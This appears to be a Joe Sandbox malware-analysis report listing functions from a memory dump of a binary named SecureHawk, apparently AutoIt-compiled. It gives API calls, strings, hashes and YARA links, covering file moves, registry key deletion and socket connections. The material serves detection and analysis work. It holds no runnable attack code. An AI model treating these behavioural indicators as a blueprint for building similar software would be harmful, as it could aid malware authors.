Instruction ID: 3499a0b84846866902369c922f5ed93a26857f64a12094f918b851ccf0d2026f
Opcode Fuzzy Hash: 8ae29b564b204a479274bf8987c1c8aeaebed72c184b2d04cf6188f3039a89b0
Instruction Fuzzy Hash: A55127A05443D13DFB3783258C51F76BFB9AB46302F0C4889E9D64A8E2D2A4EC8CD750

Function 00355A25 Relevance: 10.6, APIs: 7, Instructions: 138timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 00355A32
_wcsncpy.LIBCMT ref: 00355A67
_wcsncpy.LIBCMT ref: 00355A99
_wcsncpy.LIBCMT ref: 00355ACC
_wcsncpy.LIBCMT ref: 00355B0E
_wcsncpy.LIBCMT ref: 00355B48
_wcsncpy.LIBCMT ref: 00355B77

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: _wcsncpy$LocalTime
String ID:
API String ID: 2945705084-0
Opcode ID: d068da3de45aea6b764bb9c76029a8e51861f8605b8a38b26301aa7a9085507b
Instruction ID: 1f9189b310d72e8850503ac11ec7e03b3ed84e7f3d4d208c5e021f876a8018a1
Opcode Fuzzy Hash: d068da3de45aea6b764bb9c76029a8e51861f8605b8a38b26301aa7a9085507b
Instruction Fuzzy Hash: 38417F65C2161475CB17EBA4C88ADCFB3BC9F08310F508966F918E7221E774E399C7A9

Function 003539D1 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 111filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00354A30: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,003539F7,?), ref: 00354A4D

Part of subcall function 00354A30: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,003539F7,?), ref: 00354A66

lstrcmpiW.KERNEL32(?,?), ref: 00353A17
_wcscmp.LIBCMT ref: 00353A33
MoveFileW.KERNEL32(?,?), ref: 00353A4B
_wcscat.LIBCMT ref: 00353A93
SHFileOperationW.SHELL32(?), ref: 00353AFF

Strings

\*.*, xrefs: 00353A8D

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: FileFullNamePath$MoveOperation_wcscat_wcscmplstrcmpi
String ID: \*.*
API String ID: 1377345388-1173974218
Opcode ID: 402f5f5921d49f0629e62b0e7c489dffae3c53b9cd3802de9e0de99d840fa2da
Instruction ID: a8d416943625b0ea18acec7a2d8a86b027f80580cf7d5addfc4fa7f4d06ede42
Opcode Fuzzy Hash: 402f5f5921d49f0629e62b0e7c489dffae3c53b9cd3802de9e0de99d840fa2da
Instruction Fuzzy Hash: A3417F71508344AECB57EB64D441ADBB7FCEF88380F00092EB88AC7161EA34D68DCB56

Function 0037767E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 103windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00377697
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 0037773E
IsMenu.USER32(?), ref: 00377756
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 0037779E
DrawMenuBar.USER32 ref: 003777B1

Strings

0, xrefs: 0037768B

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Menu$Item$DrawInfoInsert_memset
String ID: 0
API String ID: 3866635326-4108050209
Opcode ID: 32bd2697bcaff1120296ff8df89d0da1f5e056a75264317dfa5d4b7e1e714ffa
Instruction ID: cbbd601eeb2262266d17952f6490e27219c02253f73c1412364a69807257e747
Opcode Fuzzy Hash: 32bd2697bcaff1120296ff8df89d0da1f5e056a75264317dfa5d4b7e1e714ffa
Instruction Fuzzy Hash: F8416975A04248EFDB26DF50D884EAABBF8FB09314F058169ED1A97360D734AD54CFA0

Function 003713CA Relevance: 10.6, APIs: 7, Instructions: 101registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?), ref: 003713F9
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00371423
FreeLibrary.KERNEL32(00000000), ref: 003714DA

Part of subcall function 003713CA: RegCloseKey.ADVAPI32(?), ref: 00371440
Part of subcall function 003713CA: FreeLibrary.KERNEL32(?), ref: 00371492
Part of subcall function 003713CA: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 003714B5

RegDeleteKeyW.ADVAPI32(?,?), ref: 0037147D

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: EnumFreeLibrary$CloseDeleteOpen
String ID:
API String ID: 395352322-0
Opcode ID: 3032f762eb4ed18a02748fac6d17279a71c8c01c59eb5a4f166f518a115c1aed
Instruction ID: 64b510ac3a89ea61f1728bb92000cc187bbf29528474d846ca824ab1c7350bb8
Opcode Fuzzy Hash: 3032f762eb4ed18a02748fac6d17279a71c8c01c59eb5a4f166f518a115c1aed
Instruction Fuzzy Hash: 3F3142B2900209BFDB66DF95DC89EFFB7BCEF08340F0041A9E515A2140E7745E499B60

Function 003766BA Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 003766D9
GetWindowLongW.USER32(01235888,000000F0), ref: 0037670C
GetWindowLongW.USER32(01235888,000000F0), ref: 00376741
SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 00376773
SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 0037679D
GetWindowLongW.USER32(?,000000F0), ref: 003767AE
SetWindowLongW.USER32(?,000000F0,00000000), ref: 003767C8

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID:
API String ID: 2178440468-0
Opcode ID: 8fac71ac0b6bdbdd88d0a58daf16148b4ad616b18c4481f9265294d9918afe1e
Instruction ID: fa3b5f2360283c3824e5a46b4f79301640d5ead1f5e241ffb11cd3a926e5919f
Opcode Fuzzy Hash: 8fac71ac0b6bdbdd88d0a58daf16148b4ad616b18c4481f9265294d9918afe1e
Instruction Fuzzy Hash: 563148316006809FDB368F08DCA6F5437E9FB89398F1941A4F609CF2B2CB39A854DB50

Function 0034E06A Relevance: 10.6, APIs: 7, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0034E0AD
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0034E0D3
SysAllocString.OLEAUT32(00000000), ref: 0034E0D6
SysAllocString.OLEAUT32(?), ref: 0034E0F4
SysFreeString.OLEAUT32(?), ref: 0034E0FD
StringFromGUID2.OLE32(?,?,00000028), ref: 0034E122
SysAllocString.OLEAUT32(?), ref: 0034E130

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 5e1036ef639063f9cd34143fc8d7512496bd89f36c4b99f1fce9fd77192ae8c4
Instruction ID: da454591994e1796475447b86e7631ddec5ee936c9cc730858abfefcb90d6241
Opcode Fuzzy Hash: 5e1036ef639063f9cd34143fc8d7512496bd89f36c4b99f1fce9fd77192ae8c4
Instruction Fuzzy Hash: 2C21B236600209AFAB55DFA9CC88CBB73ECFF08360F058125FA15DF290D670AC858B60

Function 00366623 Relevance: 10.6, APIs: 7, Instructions: 94networkCOMMON

Download Yara Rule

APIs

Part of subcall function 0036823D: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 00368268

socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 00366676
WSAGetLastError.WSOCK32(00000000), ref: 00366685
ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 003666BE
connect.WSOCK32(00000000,?,00000010), ref: 003666C7
WSAGetLastError.WSOCK32 ref: 003666D1
closesocket.WSOCK32(00000000), ref: 003666FA
ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 00366713

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: ErrorLastioctlsocket$closesocketconnectinet_addrsocket
String ID:
API String ID: 910771015-0
Opcode ID: 57e8757284156b7a6ecfe3aea367de3fd16a275f9e7c4bc8d8ee6c37c1b27757
Instruction ID: 4cc451cf87d94596f275003b2297f73b9f786cf2829ad91e6c34d43a46558f09
Opcode Fuzzy Hash: 57e8757284156b7a6ecfe3aea367de3fd16a275f9e7c4bc8d8ee6c37c1b27757
Instruction Fuzzy Hash: D231E871600208AFDB11AF64DC86BBE77ADEF44794F018169FE059B291DB70AD448BA1

Function 0034E143 Relevance: 10.6, APIs: 7, Instructions: 90memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0034E188
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0034E1AE
SysAllocString.OLEAUT32(00000000), ref: 0034E1B1
SysAllocString.OLEAUT32 ref: 0034E1D2
SysFreeString.OLEAUT32 ref: 0034E1DB
StringFromGUID2.OLE32(?,?,00000028), ref: 0034E1F5
SysAllocString.OLEAUT32(?), ref: 0034E203

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 8c26863c9f6a749256d7252ffc5a6809c2d234cdff6040200c27695800f8015f
Instruction ID: 34d209f2b33fe3003a14736bcd0b2da5cfc8f19dfc9b21f68fd3695b6ab18af7
Opcode Fuzzy Hash: 8c26863c9f6a749256d7252ffc5a6809c2d234cdff6040200c27695800f8015f
Instruction Fuzzy Hash: CB21B831644208AFDB55AFB9DC89DBA77ECFF09360B008165FA15CF2A0D670EC818B60

Function 0034FBFC Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 90COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 0034FC0F
__wcsnicmp.LIBCMT ref: 0034FC30
__wcsnicmp.LIBCMT ref: 0034FC4A

Strings

#OnAutoItStartRegister, xrefs: 0034FC44
#requireadmin, xrefs: 0034FC2A
#notrayicon, xrefs: 0034FC07

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: __wcsnicmp
String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
API String ID: 1038674560-2734436370
Opcode ID: 6a20b60fa0848b0d64ece5f30f0a446ace1e78c73c493a313487779244170107
Instruction ID: e60fdd2ba8a18e136b2935600f5610ac8be652619c72dc41058b44c70c53cdcf
Opcode Fuzzy Hash: 6a20b60fa0848b0d64ece5f30f0a446ace1e78c73c493a313487779244170107
Instruction Fuzzy Hash: 912130321446196ED227B7249882FEB73D8EF59700F584436FC458E582EBA1BE92C395

Function 003779BA Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 002F2111: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 002F214F
Part of subcall function 002F2111: GetStockObject.GDI32(00000011), ref: 002F2163
Part of subcall function 002F2111: SendMessageW.USER32(00000000,00000030,00000000), ref: 002F216D

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00377A1F
SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 00377A2C
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 00377A37
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00377A46
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 00377A52

Strings

Msctls_Progress32, xrefs: 003779F0

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: 95fc2d0d96a713d80ed5aa32b2e6c070f3b7b04c97d69a167d59afc10ab7caf4
Instruction ID: 86294d349b7c07b2736490462e329ad0b94cc7eda0bc14b38ad2cde86c3335d8
Opcode Fuzzy Hash: 95fc2d0d96a713d80ed5aa32b2e6c070f3b7b04c97d69a167d59afc10ab7caf4
Instruction Fuzzy Hash: 651181B211021DBEEF269E60CC86EEB7F5DEF09798F018115BB08A6151D6759C21DBA0

Function 00319C46 Relevance: 10.5, APIs: 7, Instructions: 45threadCOMMON

Download Yara Rule

APIs

__init_pointers.LIBCMT ref: 00319C46

Part of subcall function 003132E9: EncodePointer.KERNEL32(00000000), ref: 003132EC
Part of subcall function 003132E9: __initp_misc_winsig.LIBCMT ref: 00313307
Part of subcall function 003132E9: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 0031A000
Part of subcall function 003132E9: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 0031A014
Part of subcall function 003132E9: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 0031A027
Part of subcall function 003132E9: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 0031A03A
Part of subcall function 003132E9: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 0031A04D
Part of subcall function 003132E9: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 0031A060
Part of subcall function 003132E9: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 0031A073
Part of subcall function 003132E9: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 0031A086
Part of subcall function 003132E9: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 0031A099
Part of subcall function 003132E9: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 0031A0AC
Part of subcall function 003132E9: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 0031A0BF
Part of subcall function 003132E9: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 0031A0D2
Part of subcall function 003132E9: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 0031A0E5
Part of subcall function 003132E9: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 0031A0F8
Part of subcall function 003132E9: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 0031A10B
Part of subcall function 003132E9: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 0031A11E

__mtinitlocks.LIBCMT ref: 00319C4B
__mtterm.LIBCMT ref: 00319C54

Part of subcall function 00319CBC: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,00319C59,00317E2D,003AB0B8,00000014), ref: 00319DB6
Part of subcall function 00319CBC: _free.LIBCMT ref: 00319DBD
Part of subcall function 00319CBC: DeleteCriticalSection.KERNEL32(0B;,?,?,00319C59,00317E2D,003AB0B8,00000014), ref: 00319DDF

__calloc_crt.LIBCMT ref: 00319C79
__initptd.LIBCMT ref: 00319C9B
GetCurrentThreadId.KERNEL32 ref: 00319CA2

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
String ID:
API String ID: 3567560977-0
Opcode ID: 5ab84067a8f57dc4664b20afb3fbf78bc0b83df6685f3b1c8400f965c03ee13c
Instruction ID: 4462436110ee6932395d035a1c6044833c75011efa36d2f8563a6ba71f7a324b
Opcode Fuzzy Hash: 5ab84067a8f57dc4664b20afb3fbf78bc0b83df6685f3b1c8400f965c03ee13c
Instruction Fuzzy Hash: ADF04F3265A7116DE62F7774BC267C626D49B0A770F21062BF891C90D1EF1184C24290

Function 003140E9 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 24libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoInitialize,003141B2,?), ref: 00314103
GetProcAddress.KERNEL32(00000000), ref: 0031410A
EncodePointer.KERNEL32(00000000), ref: 00314116
DecodePointer.KERNEL32(00000001,003141B2,?), ref: 00314133

Strings

combase.dll, xrefs: 003140FE
RoInitialize, xrefs: 003140F2

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
String ID: RoInitialize$combase.dll
API String ID: 3489934621-340411864
Opcode ID: 626f958ecfc63cd5ed889c118423d054f8034ff8865cfe132e71b0b74a425fd2
Instruction ID: ea2a68d499bc77195f48a4f8695f9457f83c7a903b9a932cc0bbae4b06549c95
Opcode Fuzzy Hash: 626f958ecfc63cd5ed889c118423d054f8034ff8865cfe132e71b0b74a425fd2
Instruction Fuzzy Hash: D5E01AB4A90300AFDF972FB8EC4DB84366CBB28B0AF5145A4F611E51A0DBF540D88F04

Function 003141BE Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 19libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoUninitialize,003140D8), ref: 003141D8
GetProcAddress.KERNEL32(00000000), ref: 003141DF
EncodePointer.KERNEL32(00000000), ref: 003141EA
DecodePointer.KERNEL32(003140D8), ref: 00314205

Strings

combase.dll, xrefs: 003141D3
RoUninitialize, xrefs: 003141C7

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
String ID: RoUninitialize$combase.dll
API String ID: 3489934621-2819208100
Opcode ID: 1a7ccd80ef0c118f47e01eca44bd2395b85854402e124e38a1b6854811af7235
Instruction ID: 8c2ba65fd8d019c4867e33793f4159e3963a39d5e224fd0b27e6017132d9eaa3
Opcode Fuzzy Hash: 1a7ccd80ef0c118f47e01eca44bd2395b85854402e124e38a1b6854811af7235
Instruction Fuzzy Hash: A5E0B67C991314ABDB9B9B64FD0DB843AACBB24B0AF104695F201E21A1CBB44589CB14

Function 002F218F Relevance: 9.3, APIs: 6, Instructions: 254COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 002F21B8
GetWindowRect.USER32(?,?), ref: 002F21F9
ScreenToClient.USER32(?,?), ref: 002F2221
GetClientRect.USER32(?,?), ref: 002F2350
GetWindowRect.USER32(?,?), ref: 002F2369

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Rect$Client$Window$Screen
String ID:
API String ID: 1296646539-0
Opcode ID: 618498f63a069b9b2b1a63b54b030426b1734ea57dd897e6791d7f75947f9d14
Instruction ID: 96f14011ac734e2cccd67c39503655d8ab67c0d5ccefa57a40aaa70a42ed999a
Opcode Fuzzy Hash: 618498f63a069b9b2b1a63b54b030426b1734ea57dd897e6791d7f75947f9d14
Instruction Fuzzy Hash: 19B18B7991024ADBDF10CFA8C4807EEF7B1FF08750F148169EE59AB214EB74AA54CB64

Function 003568E0 Relevance: 9.2, APIs: 6, Instructions: 205COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00356A33
_memmove.LIBCMT ref: 0035696E

Part of subcall function 002F4D37: __itow.LIBCMT ref: 002F4D62
Part of subcall function 002F4D37: __swprintf.LIBCMT ref: 002F4DAC

_memmove.LIBCMT ref: 003569E1
_memmove.LIBCMT ref: 00356AC8
_memmove.LIBCMT ref: 00356AE1
_memmove.LIBCMT ref: 00356AFD

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: _memmove$__itow__swprintf
String ID:
API String ID: 3253778849-0
Opcode ID: 340957853b3c3171cca4beac8282df536099dc876b62d2c6f9ea26667f41c8ed
